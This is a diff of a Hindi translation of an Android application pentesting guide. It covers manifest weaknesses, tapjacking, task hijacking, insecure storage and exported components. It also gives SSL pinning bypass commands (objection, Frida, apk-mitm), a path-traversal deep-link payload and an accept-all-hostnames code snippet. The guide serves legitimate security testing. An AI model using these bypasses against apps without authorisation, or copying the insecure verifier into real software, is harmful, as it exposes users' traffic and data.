URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ Firebase के बारे में और जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URLs** पर विशेष ध्यान दें और जांचें कि क्या यह गलत तरीके से कॉन्फ़िगर किया गया है। [यहाँ Firebase के बारे में अधिक जानकारी और इसे कैसे शोषण करें।](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) ### एप्लिकेशन की मूल समझ - Manifest.xml, strings.xml -**एक एप्लिकेशन के _Manifest.xml_ और **_strings.xml_** फ़ाइलों की जांच संभावित सुरक्षा कमजोरियों को उजागर कर सकती है**। इन फ़ाइलों को डिकंपाइलरों का उपयोग करके या APK फ़ाइल एक्सटेंशन को .zip में बदलकर और फिर इसे अनज़िप करके एक्सेस किया जा सकता है। +**एक एप्लिकेशन के _Manifest.xml_ और **_strings.xml_** फ़ाइलों की जांच संभावित सुरक्षा कमजोरियों को उजागर कर सकती है**। इन फ़ाइलों को decompilers का उपयोग करके या APK फ़ाइल एक्सटेंशन को .zip में बदलकर और फिर इसे अनज़िप करके एक्सेस किया जा सकता है। **Manifest.xml** से पहचानी गई **कमजोरियाँ** में शामिल हैं: -- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में डिबग करने योग्य (`debuggable="true"`) के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, एक ट्यूटोरियल देखें। +- **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम में होती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशनों का शोषण कैसे करें, इस पर एक ट्यूटोरियल के लिए संदर्भित करें। - **Backup Settings**: संवेदनशील जानकारी से निपटने वाली एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb डिबगिंग सक्षम हो। - **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स को निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है। -- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए। +- **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जिन्हें दुरुपयोग किया जा सकता है। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए। - **Content Providers and FileProviders**: उजागर सामग्री प्रदाता अनधिकृत पहुंच या डेटा में संशोधन की अनुमति दे सकते हैं। FileProviders की कॉन्फ़िगरेशन की भी जांच की जानी चाहिए। -- **Broadcast Receivers and URL Schemes**: ये घटक शोषण के लिए उपयोग किए जा सकते हैं, विशेष रूप से इनपुट कमजोरियों के लिए URL स्कीमों के प्रबंधन पर ध्यान दिया जाना चाहिए। +- **Broadcast Receivers and URL Schemes**: इन घटकों का शोषण के लिए उपयोग किया जा सकता है, विशेष रूप से इनपुट कमजोरियों के लिए URL योजनाओं के प्रबंधन के तरीके पर ध्यान दिया जाना चाहिए। - **SDK Versions**: `minSdkVersion`, `targetSDKVersion`, और `maxSdkVersion` विशेषताएँ समर्थित Android संस्करणों को इंगित करती हैं, सुरक्षा कारणों से पुराने, कमजोर Android संस्करणों का समर्थन न करने के महत्व को उजागर करती हैं। **strings.xml** फ़ाइल से संवेदनशील जानकारी जैसे API कुंजी, कस्टम स्कीमा, और अन्य डेवलपर नोट्स का पता लगाया जा सकता है, जो इन संसाधनों की सावधानीपूर्वक समीक्षा की आवश्यकता को उजागर करता है। ### Tapjacking -**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ बातचीत करने के लिए धोखा खा जाए, जबकि यह बातचीत को पीड़ित ऐप के पास भेज रहा है।\ +**Tapjacking** एक हमला है जहाँ एक **दुष्ट** **एप्लिकेशन** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह पीड़ित ऐप को दृश्यमान रूप से अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता इसके साथ बातचीत करने के लिए धोखा खा जाए, जबकि यह बातचीत को पीड़ित ऐप को पास कर रहा है।\ इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**। अधिक जानकारी के लिए देखें: + {{#ref}} tapjacking.md {{#endref}} -### कार्य हाइजैकिंग +### टास्क हाईजैकिंग -एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, कार्य हाइजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे वास्तविक एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **वास्तविक एप्लिकेशन के कार्य को हाइजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा होगा, सोचते हुए कि वह असली का उपयोग कर रहा है**)। +एक **गतिविधि** जिसमें **`launchMode`** **`singleTask`** पर सेट है और कोई `taskAffinity` परिभाषित नहीं है, टास्क हाईजैकिंग के लिए संवेदनशील है। इसका मतलब है कि एक **एप्लिकेशन** स्थापित किया जा सकता है और यदि इसे असली एप्लिकेशन से पहले लॉन्च किया जाता है, तो यह **असली एप्लिकेशन के कार्य को हाईजैक कर सकता है** (इसलिए उपयोगकर्ता **दुष्ट एप्लिकेशन के साथ बातचीत कर रहा होगा जबकि वह असली एप्लिकेशन का उपयोग कर रहा है**). + +अधिक जानकारी के लिए देखें: -अधिक जानकारी के लिए: {{#ref}} android-task-hijacking.md @@ -117,7 +122,7 @@ Android में, फ़ाइलें **आंतरिक** भंडार 1. **स्थैतिक विश्लेषण:** - **सुनिश्चित करें** कि `MODE_WORLD_READABLE` और `MODE_WORLD_WRITABLE` का उपयोग **ध्यानपूर्वक जांचा गया है**। ये मोड फ़ाइलों को **अनपेक्षित या अनधिकृत पहुंच** के लिए **खुला** कर सकते हैं। 2. **गतिशील विश्लेषण:** -- **जांचें** कि ऐप द्वारा बनाई गई फ़ाइलों पर **अनुमतियाँ** सेट की गई हैं। विशेष रूप से, **जांचें** कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को, जो डिवाइस पर स्थापित है, इन फ़ाइलों को **पढ़ने या संशोधित करने** की अनुमति देगा, चाहे उसकी उत्पत्ति या इरादा कुछ भी हो। +- **जांचें** कि ऐप द्वारा बनाई गई फ़ाइलों पर **अनुमतियाँ** सेट की गई हैं। विशेष रूप से, **जांचें** कि क्या कोई फ़ाइलें **विश्व स्तर पर पढ़ने या लिखने के लिए सेट की गई हैं**। यह एक महत्वपूर्ण सुरक्षा जोखिम पैदा कर सकता है, क्योंकि यह **किसी भी एप्लिकेशन** को जो डिवाइस पर स्थापित है, उसकी उत्पत्ति या इरादे की परवाह किए बिना, इन फ़ाइलों को **पढ़ने या संशोधित करने** की अनुमति देगा। **बाहरी भंडारण** @@ -126,19 +131,19 @@ Android में, फ़ाइलें **आंतरिक** भंडार 1. **पहुँच**: - बाहरी भंडारण पर फ़ाइलें **वैश्विक रूप से पढ़ने और लिखने योग्य** होती हैं। इसका मतलब है कि कोई भी एप्लिकेशन या उपयोगकर्ता इन फ़ाइलों तक पहुँच सकता है। 2. **सुरक्षा चिंताएँ**: -- पहुँच की आसानी को देखते हुए, सलाह दी जाती है कि **संवेदनशील जानकारी** को बाहरी भंडारण पर **न रखें**। +- पहुँच की आसानी को देखते हुए, **संवेदनशील जानकारी** को बाहरी भंडारण पर **स्टोर न करने** की सलाह दी जाती है। - बाहरी भंडारण को किसी भी एप्लिकेशन द्वारा हटाया या एक्सेस किया जा सकता है, जिससे यह कम सुरक्षित हो जाता है। 3. **बाहरी भंडारण से डेटा को संभालना**: - हमेशा बाहरी भंडारण से प्राप्त डेटा पर **इनपुट मान्यता** करें। यह महत्वपूर्ण है क्योंकि डेटा एक अविश्वसनीय स्रोत से है। -- गतिशील लोडिंग के लिए बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलें स्टोर करना दृढ़ता से हतोत्साहित किया जाता है। +- गतिशील लोडिंग के लिए बाहरी भंडारण पर निष्पादन योग्य या क्लास फ़ाइलों को स्टोर करना दृढ़ता से हतोत्साहित किया जाता है। - यदि आपके एप्लिकेशन को बाहरी भंडारण से निष्पादन योग्य फ़ाइलें प्राप्त करनी हैं, तो सुनिश्चित करें कि ये फ़ाइलें **हस्ताक्षरित और क्रिप्टोग्राफिक रूप से सत्यापित** हैं इससे पहले कि उन्हें गतिशील रूप से लोड किया जाए। यह आपके एप्लिकेशन की सुरक्षा अखंडता बनाए रखने के लिए महत्वपूर्ण है। बाहरी भंडारण को `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` में **एक्सेस** किया जा सकता है। > [!TIP] -> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **एक ऐप से उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुष्ट एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है। +> Android 4.4 (**API 17**) से शुरू होकर, SD कार्ड में एक निर्देशिका संरचना है जो **किसी ऐप को उस ऐप के लिए विशेष रूप से निर्देशिका तक पहुँच को सीमित करती है**। यह दुष्ट एप्लिकेशन को किसी अन्य ऐप की फ़ाइलों तक पढ़ने या लिखने की पहुँच प्राप्त करने से रोकता है। -**स्पष्ट-टेक्स्ट में संग्रहीत संवेदनशील डेटा** +**स्पष्ट-टेक्स्ट में स्टोर की गई संवेदनशील डेटा** - **Shared preferences**: Android प्रत्येक एप्लिकेशन को `/data/data//shared_prefs/` पथ में xml फ़ाइलें आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है। - **Databases**: Android प्रत्येक एप्लिकेशन को `/data/data//databases/` पथ में sqlite डेटाबेस को आसानी से सहेजने की अनुमति देता है और कभी-कभी उस फ़ोल्डर में स्पष्ट-टेक्स्ट में संवेदनशील जानकारी मिल सकती है। @@ -147,7 +152,7 @@ Android में, फ़ाइलें **आंतरिक** भंडार **सभी प्रमाणपत्र स्वीकार करें** -किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो: +किसी कारण से कभी-कभी डेवलपर्स सभी प्रमाणपत्रों को स्वीकार करते हैं, भले ही उदाहरण के लिए होस्टनाम कोड की निम्नलिखित पंक्तियों के साथ मेल न खाता हो: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -162,13 +167,13 @@ A good way to test this is to try to capture the traffic using some proxy like B **Use of Insecure and/or Deprecated Algorithms** -डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो नमक के साथ **hashes** ब्रूट-फोर्स **resistant** का उपयोग किया जाना चाहिए। +डेवलपर्स को **deprecated algorithms** का उपयोग करके प्राधिकरण **checks**, **store** या **send** डेटा नहीं करना चाहिए। इनमें से कुछ एल्गोरिदम हैं: RC4, MD4, MD5, SHA1... यदि **hashes** का उपयोग पासवर्ड को स्टोर करने के लिए किया जाता है, तो उदाहरण के लिए, salt के साथ brute-force **resistant** hashes का उपयोग किया जाना चाहिए। ### Other checks -- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो जाए। +- यह अनुशंसा की जाती है कि **APK को obfuscate करें** ताकि हमलावरों के लिए रिवर्स इंजीनियरिंग का काम कठिन हो सके। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **देखना चाहिए कि मोबाइल रूटेड है या नहीं** और इसके अनुसार कार्य करना चाहिए। -- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे देखना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है। +- यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे यह जांचना चाहिए कि क्या **emulator** का उपयोग किया जा रहा है। - यदि ऐप संवेदनशील है (जैसे बैंक ऐप), तो इसे **execute करने से पहले अपनी अखंडता की जांच करनी चाहिए** कि क्या इसे संशोधित किया गया है। - [**APKiD**](https://github.com/rednaga/APKiD) का उपयोग करें यह जांचने के लिए कि APK बनाने के लिए कौन सा कंपाइलर/पैकर/obfuscator का उपयोग किया गया था। @@ -331,23 +336,23 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF _**singleTask/singleInstance**_ के उपयोग को `android:launchMode` में एक गतिविधि के रूप में दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है। +**NOTE**: MobSF _**singleTask/singleInstance**_ के रूप में `android:launchMode` का उपयोग करने को दुर्भावनापूर्ण के रूप में पहचानता है, लेकिन [इस](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) के कारण, यह स्पष्ट रूप से केवल पुराने संस्करणों (API संस्करण < 21) पर खतरनाक है। > [!TIP] > ध्यान दें कि एक प्राधिकरण बायपास हमेशा एक कमजोर बिंदु नहीं होता है, यह इस पर निर्भर करेगा कि बायपास कैसे काम करता है और कौन सी जानकारी उजागर होती है। **संवेदनशील जानकारी का रिसाव** -**गतिविधियाँ भी परिणाम लौट सकती हैं**। यदि आप एक निर्यातित और अप्रोटेक्टेड गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है। +**गतिविधियाँ परिणाम भी लौटा सकती हैं**। यदि आप एक निर्यातित और अप्रोटेक्टेड गतिविधि को खोजने में सफल होते हैं जो **`setResult`** विधि को कॉल करती है और **संवेदनशील जानकारी** लौटाती है, तो यह संवेदनशील जानकारी का रिसाव है। #### Tapjacking -यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ करें**। Tapjacking के बारे में अधिक जानकारी के लिए [**यहाँ लिंक का पालन करें**](#tapjacking)। +यदि tapjacking को रोका नहीं गया, तो आप निर्यातित गतिविधि का दुरुपयोग कर सकते हैं ताकि **उपयोगकर्ता अप्रत्याशित क्रियाएँ** कर सके। Tapjacking के बारे में अधिक जानकारी के लिए [**यहाँ लिंक का पालन करें**](#tapjacking)। ### सामग्री प्रदाताओं का शोषण - संवेदनशील जानकारी तक पहुँच और हेरफेर [**यदि आप सामग्री प्रदाता क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#content-provider)\ -सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा निकालने में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं। +सामग्री प्रदाता मूल रूप से **डेटा साझा करने** के लिए उपयोग किए जाते हैं। यदि किसी ऐप में उपलब्ध सामग्री प्रदाता हैं, तो आप उनसे **संवेदनशील** डेटा **निकालने** में सक्षम हो सकते हैं। यह भी संभावित **SQL इंजेक्शन** और **पथ ट्रैवर्सल** का परीक्षण करने के लिए दिलचस्प है क्योंकि वे कमजोर हो सकते हैं। [**Drozer के साथ सामग्री प्रदाताओं का शोषण करना सीखें।**](drozer-tutorial/index.html#content-providers) @@ -356,7 +361,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity [**यदि आप सेवा क्या है, इसे ताज़ा करना चाहते हैं तो इसे पढ़ें।**](android-applications-basics.md#services)\ याद रखें कि एक सेवा की क्रियाएँ `onStartCommand` विधि में शुरू होती हैं। -सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **एक प्रतिक्रिया लौटाता है** (या नहीं)। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\ +एक सेवा मूल रूप से कुछ ऐसा है जो **डेटा प्राप्त कर सकता है**, **प्रसंस्कृत** कर सकता है और **प्रतिक्रिया** (या नहीं) लौटा सकता है। फिर, यदि कोई एप्लिकेशन कुछ सेवाएँ निर्यात कर रहा है, तो आपको **कोड** की **जांच** करनी चाहिए ताकि यह समझ सकें कि यह क्या कर रहा है और **गोपनीय जानकारी निकालने**, प्रमाणीकरण उपायों को बायपास करने के लिए इसे **गतिशील रूप से** **परीक्षण** करें...\ [**Drozer के साथ सेवाओं का शोषण करना सीखें।**](drozer-tutorial/index.html#services) ### **ब्रॉडकास्ट रिसीवर्स का शोषण** @@ -369,12 +374,12 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ### **स्कीमों / डीप लिंक का शोषण** -आप मैन्युअल रूप से गहरे लिंक की तलाश कर सकते हैं, MobSF जैसे उपकरणों का उपयोग करके या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\ -आप **adb** या एक **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं: +आप मैन्युअल रूप से गहरे लिंक की खोज कर सकते हैं, MobSF जैसे उपकरणों या [इस स्क्रिप्ट](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) का उपयोग करके।\ +आप **adb** या **ब्राउज़र** का उपयोग करके एक घोषित **स्कीम** को **खोल** सकते हैं: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए।_ +_ध्यान दें कि आप **पैकेज नाम को छोड़ सकते हैं** और मोबाइल स्वचालित रूप से उस ऐप को कॉल करेगा जो उस लिंक को खोलना चाहिए._ ```html Click me @@ -383,7 +388,7 @@ _ध्यान दें कि आप **पैकेज नाम को छ ``` **कोड निष्पादित किया गया** -**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा बुलाया गया है और फ़ंक्शन **`onNewIntent`** को खोजें। +**ऐप में निष्पादित होने वाले कोड** को खोजने के लिए, उस गतिविधि पर जाएं जिसे डीप लिंक द्वारा कॉल किया गया है और फ़ंक्शन **`onNewIntent`** को खोजें। ![](<../../images/image (436) (1) (1) (1).png>) @@ -393,8 +398,8 @@ _ध्यान दें कि आप **पैकेज नाम को छ **पैरामीटर पथ में** -आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप पथ यात्रा को मजबूर कर सकते हैं और कुछ इस तरह पहुंच सकते हैं: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **Open Redirect** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है। +आपको **यह भी जांचना चाहिए कि क्या कोई डीप लिंक URL के पथ के अंदर एक पैरामीटर का उपयोग कर रहा है** जैसे: `https://api.example.com/v1/users/{username}` , इस मामले में आप एक पथ यात्रा को मजबूर कर सकते हैं जैसे: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +ध्यान दें कि यदि आप एप्लिकेशन के अंदर सही एंडपॉइंट्स पाते हैं, तो आप **ओपन रीडायरेक्ट** (यदि पथ का एक भाग डोमेन नाम के रूप में उपयोग किया जाता है), **खाता अधिग्रहण** (यदि आप CSRF टोकन के बिना उपयोगकर्ता विवरण को संशोधित कर सकते हैं और कमजोर एंडपॉइंट ने सही विधि का उपयोग किया) और किसी अन्य कमजोरियों का कारण बन सकते हैं। इसके बारे में अधिक [जानकारी यहाँ](http://dphoeniixx.com/2020/12/13-2/) है। **अधिक उदाहरण** @@ -412,25 +417,25 @@ _ध्यान दें कि आप **पैकेज नाम को छ #### SSL पिनिंग -SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र की जांच एक ज्ञात प्रति के खिलाफ करता है जो एप्लिकेशन के भीतर संग्रहीत होती है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है। +SSL पिनिंग एक सुरक्षा उपाय है जहां एप्लिकेशन सर्वर के प्रमाणपत्र को एप्लिकेशन के भीतर संग्रहीत ज्ञात प्रति के खिलाफ सत्यापित करता है। यह विधि MITM हमलों को रोकने के लिए आवश्यक है। संवेदनशील जानकारी को संभालने वाले एप्लिकेशनों के लिए SSL पिनिंग को लागू करना अत्यधिक अनुशंसित है। #### ट्रैफ़िक निरीक्षण -HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)। +HTTP ट्रैफ़िक का निरीक्षण करने के लिए, **प्रॉक्सी टूल के प्रमाणपत्र को स्थापित करना आवश्यक है** (जैसे, Burp)। इस प्रमाणपत्र को स्थापित किए बिना, एन्क्रिप्टेड ट्रैफ़िक प्रॉक्सी के माध्यम से दिखाई नहीं दे सकता है। कस्टम CA प्रमाणपत्र स्थापित करने के लिए एक गाइड के लिए, [**यहाँ क्लिक करें**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)। -**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िगरेशन में संशोधन की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िगरेशन को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें। +**API स्तर 24 और उससे ऊपर** को लक्षित करने वाले एप्लिकेशनों को प्रॉक्सी के CA प्रमाणपत्र को स्वीकार करने के लिए नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने की आवश्यकता होती है। एन्क्रिप्टेड ट्रैफ़िक का निरीक्षण करने के लिए यह कदम महत्वपूर्ण है। नेटवर्क सुरक्षा कॉन्फ़िग को संशोधित करने के लिए निर्देशों के लिए, [**इस ट्यूटोरियल**](make-apk-accept-ca-certificate.md) को देखें। -यदि **Flutter** का उपयोग किया जा रहा है, तो आपको [**इस पृष्ठ**](flutter.md) में दिए गए निर्देशों का पालन करना होगा। इसका कारण यह है कि, केवल स्टोर में प्रमाणपत्र जोड़ने से काम नहीं चलेगा क्योंकि Flutter की अपनी मान्य CAs की सूची है। +यदि **Flutter** का उपयोग किया जा रहा है, तो आपको [**इस पृष्ठ**](flutter.md) में दिए गए निर्देशों का पालन करने की आवश्यकता है। इसका कारण यह है कि, केवल स्टोर में प्रमाणपत्र जोड़ने से काम नहीं चलेगा क्योंकि Flutter की अपनी मान्य CAs की सूची है। #### SSL पिनिंग को बायपास करना जब SSL पिनिंग लागू होती है, तो HTTPS ट्रैफ़िक का निरीक्षण करने के लिए इसे बायपास करना आवश्यक हो जाता है। इस उद्देश्य के लिए विभिन्न विधियाँ उपलब्ध हैं: - स्वचालित रूप से **apk को संशोधित करें** ताकि **SSL पिनिंग को बायपास** किया जा सके [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) के साथ। इस विकल्प का सबसे बड़ा लाभ यह है कि आपको SSL पिनिंग को बायपास करने के लिए रूट की आवश्यकता नहीं होगी, लेकिन आपको एप्लिकेशन को हटाना और नए को फिर से स्थापित करना होगा, और यह हमेशा काम नहीं करेगा। -- आप **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई) इस सुरक्षा को बायपास करने के लिए। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- आप **objection** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **SSL पिनिंग को स्वचालित रूप से बायपास** करने का प्रयास कर सकते हैं (नीचे समझाया गया) -- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** का प्रयास कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- आप इस सुरक्षा को बायपास करने के लिए **Frida** का उपयोग कर सकते हैं (नीचे चर्चा की गई)। यहाँ Burp+Frida+Genymotion का उपयोग करने के लिए एक गाइड है: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- आप **objection** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- आप **MobSF डायनामिक एनालिसिस** का उपयोग करके **स्वचालित रूप से SSL पिनिंग को बायपास** करने की कोशिश कर सकते हैं (नीचे समझाया गया) +- यदि आप अभी भी सोचते हैं कि कुछ ट्रैफ़िक है जिसे आप कैप्चर नहीं कर रहे हैं, तो आप **iptables का उपयोग करके ट्रैफ़िक को burp पर अग्रेषित करने** की कोशिश कर सकते हैं। इस ब्लॉग को पढ़ें: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### सामान्य वेब कमजोरियों की खोज @@ -439,14 +444,14 @@ HTTP ट्रैफ़िक का निरीक्षण करने क ### Frida [Frida](https://www.frida.re) डेवलपर्स, रिवर्स-इंजीनियर्स और सुरक्षा शोधकर्ताओं के लिए एक डायनामिक इंस्ट्रुमेंटेशन टूलकिट है।\ -**आप चल रहे एप्लिकेशन तक 